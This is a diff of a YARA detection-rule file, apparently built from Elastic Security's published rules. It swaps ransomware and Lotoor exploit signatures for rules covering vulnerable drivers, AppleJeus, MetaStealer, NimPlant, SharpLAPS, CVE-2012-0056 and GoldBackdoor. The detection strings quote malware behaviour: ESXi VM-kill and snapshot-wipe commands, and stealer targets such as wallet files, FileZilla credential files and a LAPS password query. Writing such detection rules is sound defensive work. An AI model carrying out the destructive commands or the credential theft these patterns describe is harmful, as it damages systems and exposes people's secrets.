+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Ransomware_BlackCat.yar#L65-L91"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479"
-		logic_hash = "fd07acd7c8627754f000c44827848bf65bcaa96f2dfb46e41542f3c9b40eee78"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Cpuz.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
+		logic_hash = "37da20f5fe1377fe85594055dc811424f52e53a9d77060c6784c2e4d1279e26f"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f3f70f92fe9c044f4565fca519cb04a3a54536985c2614077ef92c3193fff9c1"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "1b74df56b73fa8d178a968427480332c6935e023af295e4fff5810bb66db6aab"
+		threat_name = "Windows.VulnDriver.Cpuz"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$str0 = "}RECOVER-${EXTENSION}-FILES.txt"
-		$str1 = "?access-key=${ACCESS_KEY}"
-		$str2 = "${NOTE_FILE_NAME}"
-		$str3 = "enable_network_discovery"
-		$str4 = "enable_set_wallpaper"
-		$str5 = "enable_esxi_vm_kill"
-		$str6 = "strict_include_paths"
-		$str7 = "exclude_file_path_wildcard"
-		$str8 = "${ACCESS_KEY}${EXTENSION}"
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 63 00 70 00 75 00 7A 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x04][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Multi_Ransomware_Blackcat_E066D802 : FILE MEMORY
+rule ELASTIC_Macos_Backdoor_Applejeus_31872Ae2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
+		description = "Detects Macos Backdoor Applejeus (MacOS.Backdoor.Applejeus)"
 		author = "Elastic Security"
-		id = "e066d802-b803-4e35-9b53-ae1823662483"
-		date = "2023-07-27"
-		modified = "2023-09-20"
+		id = "31872ae2-f6df-4079-89c2-866cb2e62ec8"
+		date = "2021-10-18"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Ransomware_BlackCat.yar#L93-L113"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00360830bf5886288f23784b8df82804bf6f22258e410740db481df8a7701525"
-		logic_hash = "00fbb8013faf26c35b6cd8a72ebc246444c37c5ec7a0df2295830e96c01c8720"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Backdoor_Applejeus.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e352d6ea4da596abfdf51f617584611fc9321d5a6d1c22aff243aecdef8e7e55"
+		logic_hash = "1d6f06668a7d048a93e53b294c5ab8ffe4cd610f3bef3fd80f14425ef8a85a29"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "05037af3395b682d1831443757376064c873815ac4b6d1c09116715570f51f5d"
+		fingerprint = "24b78b736f691e6b84ba88b0bb47aaba84aad0c0e45cf70f2fa8c455291517df"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "macos"
 
 	strings:
-		$a1 = "esxcli vm process kill --type=force --world-id=Killing"
-		$a2 = "vim-cmd vmsvc/snapshot.removeall $i"
-		$a3 = "File already has encrypted extension"
+		$a = { FF CE 74 12 89 F0 31 C9 80 34 0F 63 48 FF C1 48 39 C8 75 F4 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Avoslocker_7Ae4D4F2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metastealer_F94E2464 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Avoslocker (Windows.Ransomware.Avoslocker)"
+		description = "Detects Windows Trojan Metastealer (Windows.Trojan.MetaStealer)"
 		author = "Elastic Security"
-		id = "7ae4d4f2-be5f-4aad-baaa-4182ff9cf996"
-		date = "2021-07-28"
-		modified = "2021-08-23"
+		id = "f94e2464-b41a-46fd-89c1-335aa8c14425"
+		date = "2024-03-27"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Avoslocker.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
-		logic_hash = "c87faf6f128fd6a8cabd68ec8de72fb10e6be42bdbe23ece374dd8f3cf0c1b15"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_MetaStealer.yar#L1-L34"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "14ca15c0751207103c38f1a2f8fdc73e5dd3d58772f6e5641e54e0c790ecd132"
+		logic_hash = "bf374bda2ca7c7bcec1ff092bbc9c3fd95c33faa78a6ea105a7b12b8e80a2e23"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e5ff268ed2b62f9d31df41192135145094849a4e6891407568c3ea27ebf66bb"
+		fingerprint = "fb35feaf8e2d0994d022da1c8e872dc8b05b04e25ab6fed2ed1997267edfccd9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61528,119 +65679,140 @@ rule ELASTIC_Windows_Ransomware_Avoslocker_7Ae4D4F2 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "drive %s took %f seconds" ascii fullword
-		$a2 = "client_rsa_priv: %s" ascii fullword
-		$a3 = "drive: %s" ascii fullword
-		$a4 = "Map: %s" ascii fullword
-		$a5 = "encrypting %ls failed" wide fullword
+		$string1 = "AvailableLanguages" fullword
+		$string2 = "GetGraphicCards" fullword
+		$string3 = "GetVs" fullword
+		$string4 = "GetSerialNumber" fullword
+		$string5 = "net.tcp://" wide
+		$string6 = "AntivirusProduct|AntiSpyWareProduct|FirewallProduct" wide
+		$string7 = "wallet.dat" wide
+		$string8 = "[A-Za-z\\d]{24}\\.[\\w-]{6}\\.[\\w-]{27}" wide
+		$string9 = "Software\\Valve\\Steam" wide
+		$string10 = "{0}\\FileZilla\\recentservers.xml" wide
+		$string11 = "{0}\\FileZilla\\sitemanager.xml" wide
+		$string12 = "([a-zA-Z0-9]{1000,1500})" wide
+		$string13 = "\\qemu-ga.exe" wide
+		$string14 = "metaData" wide
+		$string15 = "%DSK_23%" wide
+		$string16 = "CollectMemory" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_03C81Bd9 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Capcom_7Abae448 : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Subject: CAPCOM Co.,Ltd."
 		author = "Elastic Security"
-		id = "03c81bd9-c7d1-4044-9cce-951637b2b523"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7abae448-0ebc-433f-b368-0b8560da7197"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3fc701a2caab0297112501f55eaeb05264c5e4099c411dcadc7095627e19837a"
-		logic_hash = "dc2dfa128f509221cae8bae9864190e8316bb7a5ae081da1076081b5f4fdc870"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Capcom.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24"
+		logic_hash = "88f25c479cc8970e05ef9d08143afbbbfa17322f34379ba571e3a09105b33ee0"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "329dc1e21088c87095ee030c597a3340f838c338403ae64aec574e0086281461"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "965e85fc3b2a21aef84c7c2bd59708b121d9635ce6bab177014b28fb00102884"
+		threat_name = "Windows.Hacktool.Capcom"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 65 00 65 78 70 5F 73 74 61 74 65 00 6D 65 6D 73 65 74 00 70 }
+		$subject_name = { 06 03 55 04 03 [2] 43 41 50 43 4F 4D 20 43 6F 2E 2C 4C 74 64 2E }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
 }
-rule ELASTIC_Linux_Exploit_Lotoor_757637D9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Nimplant_44Ff3211 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Windows Trojan Nimplant (Windows.Trojan.Nimplant)"
 		author = "Elastic Security"
-		id = "757637d9-6171-4e2a-bf7c-3ee2c71066a7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "44ff3211-1ba6-4c46-a990-b2419d88367e"
+		date = "2023-06-23"
+		modified = "2023-07-10"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0762fa4e0d74e3c21b2afc8e4c28e2292d1c3de3683c46b5b77f0f9fe1faeec7"
-		logic_hash = "b1f1784aae5958740d03ca50d0b9731e8db7d86d918d16e82cf6fc1e1bf663a9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Nimplant.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b56e20384f98e1d2417bb7dcdbfb375987dd075911b74ea7ead082494836b8f4"
+		logic_hash = "ee519d8d722404ed440b385d283a41921bc34ee11f0e7273cdc074b377494c39"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7fa3e2432ddd696b5d40aafbde1e026e74294d31c9201800ce66b343a3724c6e"
+		fingerprint = "cb7f823b1621e49ffac42e8a3f90ca7f8bac7ae108ca20b9a0884548681d1f87"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 64 00 73 70 72 69 6E 74 66 00 6F 70 65 6E 00 69 73 5F 6F 6C }
+		$a1 = "@NimPlant v"
+		$a2 = ".Env_NimPlant."
+		$a3 = "NimPlant.dll"
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_78543893 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharplaps_381C3F40 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Windows Hacktool Sharplaps (Windows.Hacktool.SharpLAPS)"
 		author = "Elastic Security"
-		id = "78543893-7180-4857-8951-4190ca4602f1"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "381c3f40-b6c6-4e50-be28-3d34ba07b644"
+		date = "2022-12-22"
+		modified = "2022-12-22"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ff5b02d2b4dfa9c3d53e7218533f3c57e82315be8f62aa17e26eda55a3b53479"
-		logic_hash = "4bb6a6e063fd00569b04f4514ec1731357aa8e8ce4cfee354fdd86773a4358da"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpLAPS.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ef0d508b3051fe6f99ba55202a17237f29fdbc0085e3f5c99b1aef52c8ebe425"
+		logic_hash = "d94f9e4200a63283346919c121873130ad90e4ad5979c017cb71dc0cc910a64a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b581e0820d7895021841d67e4e9dc40cec8f5ae5ba4dbc0585abcb76f97c9a2f"
+		fingerprint = "556b9ba9c0a2f08ff0b27e38e273f5817011de335436feb2a30cac74285d7e4f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 48 8B 48 08 48 8B 54 24 F0 48 63 C6 48 89 8C C2 88 00 00 00 83 44 24 }
+		$guid = "1e0986b4-4bf3-4cea-a885-347b6d232d46" ascii wide nocase
+		$str_name = "SharpLAPS.exe" ascii wide
+		$str0 = "Using the current session" ascii wide
+		$str1 = "Extracting LAPS password" ascii wide
+		$str2 = "(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=" ascii wide
+		$str4 = "Machine" ascii wide
+		$str5 = "sAMAccountName" ascii wide
+		$str6 = "ms-Mcs-AdmPwd" ascii wide
 
 	condition:
-		all of them
+		$guid or 6 of ($str*)
 }
-rule ELASTIC_Linux_Exploit_Lotoor_4F8D83D2 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2012_0056_06B2Dff5 : FILE MEMORY CVE_2012_0056
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Linux Exploit Cve 2012 0056 (Linux.Exploit.CVE-2012-0056)"
 		author = "Elastic Security"
-		id = "4f8d83d2-4f7b-4a55-9d08-f7bc84263302"
+		id = "06b2dff5-250a-46e0-b763-8e6b04498fe2"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d78128eca706557eeab8a454cf875362a097459347ddc32118f71bd6c73d5bbd"
-		logic_hash = "6fee488d97fe1d4be558b6886c603010c6d1423a750783b38a65d2fb3eeb76f4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2012_0056.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "168b3fb1c675ab76224c641e228434495160502a738b64172c679e8ce791ac17"
+		logic_hash = "4361e6e74d6678d9e0823b23a7a2e4ae84119142cad319950154f806115845d5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1a4e2746eb1da2a841c08ea44c6d0476c02dae5b4fbbe17926433bdb8c4e6df5"
+		tags = "FILE, MEMORY, CVE-2012-0056"
+		fingerprint = "82b200deae93c8fa376d670f5091d9a63730a6f5b5e8a0567fe9c283075d57c0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61648,28 +65820,28 @@ rule ELASTIC_Linux_Exploit_Lotoor_4F8D83D2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 75 6E 61 6D 65 00 73 74 64 6F 75 74 00 66 77 72 69 74 65 00 }
+		$a = { 20 66 64 20 69 6E 20 70 61 72 65 6E 74 2E 00 5B 2B 5D 20 52 65 63 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_F4Afd230 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2012_0056_B39839F4 : FILE MEMORY CVE_2012_0056
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Linux Exploit Cve 2012 0056 (Linux.Exploit.CVE-2012-0056)"
 		author = "Elastic Security"
-		id = "f4afd230-6c9f-49e8-8f13-429635b38eb5"
+		id = "b39839f4-e6f4-44bd-a636-ce355f3c5c6a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "805e900ffc9edb9f550dcbc938a3b06d28e9e7d3fb604ff68a311a0accbcd2b1"
-		logic_hash = "9aba4ebbf946f07071bfb94fa50c6981ae8c659aca9ee6e05c7ef214432d7466"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2012_0056.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cf569647759e011ff31d8626cea65ed506e8d0ef1d26f3bbb7c02a4060ce58dc"
+		logic_hash = "553111c64d8abfc3688a88dd95088de0ea7e92f68592e9a778f8041b40071e84"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1709244fdc1e2d9d7fba01743b0cf87de7b940d2b25a0016e021b7e9696525bc"
+		tags = "FILE, MEMORY, CVE-2012-0056"
+		fingerprint = "f269c4aecbb55e24d9081d7a1e4bd6cfa9799409b3a3d7a6f9bf127f7468dedc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61677,28 +65849,28 @@ rule ELASTIC_Linux_Exploit_Lotoor_F4Afd230 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 83 20 FF FF FF 85 C0 74 25 8B 83 F8 FF FF FF 85 C0 74 1B 83 }
+		$a = { 08 02 7E 3E 8B 45 0C 83 C0 04 8B 00 0F B6 00 3C 2D 75 2F 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_Bb384Bc9 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2012_0056_A1E53450 : FILE MEMORY CVE_2012_0056
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Linux Exploit Cve 2012 0056 (Linux.Exploit.CVE-2012-0056)"
 		author = "Elastic Security"
-		id = "bb384bc9-fcda-4ad4-82ad-b95de750d31c"
-		date = "2021-01-12"
+		id = "a1e53450-036e-4ae3-bfe4-64a6c7239a04"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ecc6635117b99419255af5d292a7af3887b06d5f3b0f59d158281eebfe606445"
-		logic_hash = "1e9faba4f245d8b0d6944430286a5fc3e11cd7e036a4151b29fc2c5f037894fb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2012_0056.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15a4d149e935758199f6df946ff889e12097f5fec4ef450e9cbd554d1efbd5e6"
+		logic_hash = "f2ab5de83c36a9a834e41c8f6fdccd0dffdeb384adf7b1e1098e86a2ac52df18"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "6878670c1fa154f5c4a845a824c63d0a900359b6e122b3fa759077c6a7e33e4c"
+		tags = "FILE, MEMORY, CVE-2012-0056"
+		fingerprint = "d0a0635fb356ccedb1448082cc63748d49d45f8a25e43eab7ac1d67e87062b8f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61706,115 +65878,130 @@ rule ELASTIC_Linux_Exploit_Lotoor_Bb384Bc9 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C2 75 64 4C 8B 45 F0 49 83 C0 04 4C 8B 4D F0 49 83 C1 08 48 8B }
+		$a = { 80 31 C9 B3 ?? B1 02 B0 3F CD 80 31 C0 50 68 6E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Lotoor_B293F6Ec : FILE MEMORY
+rule ELASTIC_Windows_Backdoor_Goldbackdoor_91902940 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Windows Backdoor Goldbackdoor (Windows.Backdoor.Goldbackdoor)"
 		author = "Elastic Security"
-		id = "b293f6ec-0342-4727-b2a1-bd60be11ef74"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "91902940-a291-4fc6-81c5-2cde2328e8d9"
+		date = "2022-04-29"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d1fa8520d3c3811d29c3d5702e7e0e7296b3faef0553835c495223a2bc015214"
-		logic_hash = "0e310082714f5283f9b4ccde5a8e17994e3bc4acf3d744b22734c136dde7cebb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Backdoor_Goldbackdoor.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028"
+		logic_hash = "71e26cce6d730560e1303b2a4f49d0da6d1341263bb47ade46338f03e528cbf7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "42c95bdd82e398bceeb985cff50f4613596b71024c052487f5b337bb35489594"
+		fingerprint = "83a404a24e54bd05319d3df3a830f1ffe51d30f71ca55d63ca152d5169511df4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { B8 89 45 A8 8B 45 A8 83 C0 64 89 45 B4 EB 2A 8B 45 A8 48 98 48 C1 }
+		$pdf = "D:\\Development\\GOLD-BACKDOOR\\"
+		$agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3112.113 Safari/537.36"
+		$str0 = "client_id"
+		$str1 = "client_secret"
+		$str2 = "redirect_uri"
+		$str3 = "refresh_token"
+		$a = { 56 57 8B 7D 08 8B F1 6A 00 6A 00 6A 00 6A 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 46 30 85 C0 75 ?? 33 C0 5F 5E }
+		$b = { 66 8B 02 83 C2 02 66 85 C0 75 ?? 2B D1 D1 FA 75 ?? 33 C0 E9 ?? ?? ?? ?? 6A 40 8D 45 ?? 6A 00 50 E8 }
 
 	condition:
-		all of them
+		($pdf and $agent) or ( all of ($str*) and $a and $b)
 }
-rule ELASTIC_Linux_Exploit_Lotoor_C5983669 : FILE MEMORY
+rule ELASTIC_Windows_Backdoor_Goldbackdoor_F11D57Df : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
+		description = "Detects Windows Backdoor Goldbackdoor (Windows.Backdoor.Goldbackdoor)"
 		author = "Elastic Security"
-		id = "c5983669-67d6-4a9e-945f-aae383211872"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f11d57df-8dd4-481c-a557-f83ae05d53fe"
+		date = "2022-04-29"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Lotoor.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d08be92a484991afae3567256b6cec60a53400e0e9b6f6b4d5c416a22ccca1cf"
-		logic_hash = "ff673070969f1ededf8ff2c7cadfc251c7d2e52da58906b15cfc04593a755d55"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Backdoor_Goldbackdoor.yar#L28-L51"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45ece107409194f5f1ec2fbd902d041f055a914e664f8ed2aa1f90e223339039"
+		logic_hash = "6401b215523289a3842dec6d3e016a2ca99512c5889e87cb5ff13023bb0b8e1e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1d74ddacc623a433f84b1ab6e74bcfc0e69afb29f40a8b2d660d96a88610c3b2"
+		fingerprint = "fed0317d43910d962908604812c2cd1aff6e67f7e245c82b39f2ac6dc14b6edb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 83 C0 58 48 89 44 24 20 48 8B 44 24 18 48 89 C7 BA 60 00 }
+		$a = { C7 45 ?? 64 69 72 25 C7 45 ?? 5C 53 79 73 C7 45 ?? 74 65 6D 33 C7 45 ?? 32 5C 00 00 C7 45 ?? 2A 2E 65 78 C7 45 ?? 65 00 00 00 E8 ?? ?? ?? ?? FF D0 }
+		$b = { B9 18 48 24 9D E8 ?? ?? ?? ?? FF D0 }
+		$c = { B9 F8 92 FA 98 E8 ?? ?? ?? ?? FF D0 }
+		$a1 = { 64 A1 30 00 00 00 53 55 56 }
+		$b1 = { B9 76 DB 7A AA 6A 40 68 00 30 00 00 FF 75 ?? 50 E8 ?? ?? ?? ?? FF D0 }
